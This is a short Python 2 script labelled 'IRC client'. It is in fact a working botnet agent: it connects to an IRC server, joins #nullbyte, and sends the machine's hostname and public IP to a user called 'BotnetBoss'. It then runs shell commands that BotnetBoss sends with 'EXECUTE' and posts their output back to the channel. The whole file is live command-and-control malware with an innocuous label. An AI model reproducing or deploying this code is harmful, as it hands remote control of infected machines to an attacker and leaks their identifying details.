IRC client

#!/usr/bin/env python
import sys
import socket
import string
import subprocess
import ipgetter
import random
from time import sleep

HOST="irc.freenode.net"
PORT=6667
N=6
randname = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(N))
NICK=randname
IDENT=randname
REALNAME=randname
readbuffer=""
channel="#nullbyte"

s=socket.socket( )

def connect():
    s.connect((HOST, PORT))
    s.send("NICK %s\r\n" % NICK)
    s.send("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME))
    while 1:
        global readbuffer
        readbuffer=readbuffer+s.recv(1024)
        temp=string.split(readbuffer, "\n")
        readbuffer=temp.pop( )
        for line in temp:
            line=string.rstrip(line)
            line=string.split(line)

            if(line[0]=="PING"):
                s.send("PONG %s\r\n" % line[1])

            elif(line[3]==":+i"):
                return

def listen():
    s.send("JOIN "+channel+"\r\n")
    print("joining chan")
    host = "SWM:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n"
    s.send("PRIVMSG BotnetBoss "+host+"\r\n")
    while 1:
        global readbuffer
        readbuffer=readbuffer+s.recv(1024)
        temp=string.split(readbuffer, "\n")
        readbuffer=temp.pop( )
        for line in temp:
            line=string.rstrip(line)
            line=string.split(line)
            print(line)
            if(line[0]=="PING"):
                s.send("PONG %s\r\n" % line[1])

            elif len(line) > 3:
                if "BotnetBoss" in line[0] and "EXECUTE" in line[3]:
                    print("Executing stuff")
                    command = []
                    for x in range(4, len(line)):
                        command.append(str(line[x]))
                    reply = ""
                    print(command)
                    try:
                        proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                        output = proc.stdout.read()+proc.stderr.read()
                    except Exception as e:
                        output = "Command failed with error: "+str(e)
                    print("process done")
                    tempo = output.replace('\n','\h')
                    print(output)
                    n = 128
                    reply = [tempo[i:i+n] for i in range(0, len(tempo), n)]
                    for text in reply:
                        print(repr(text))
                        s.sendall("PRIVMSG #nullbyte :"+str(text)+"\r\n")
                        sleep(3.5)

                elif "RESPOND" in line[3]:
                    host = "SWM:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n"
                    s.send("PRIVMSG BotnetBoss "+host+"\r\n")
try:
    connect()
    print("done connecing")
    listen()
except KeyboardInterrupt:
    s.sendall("QUIT\r\n")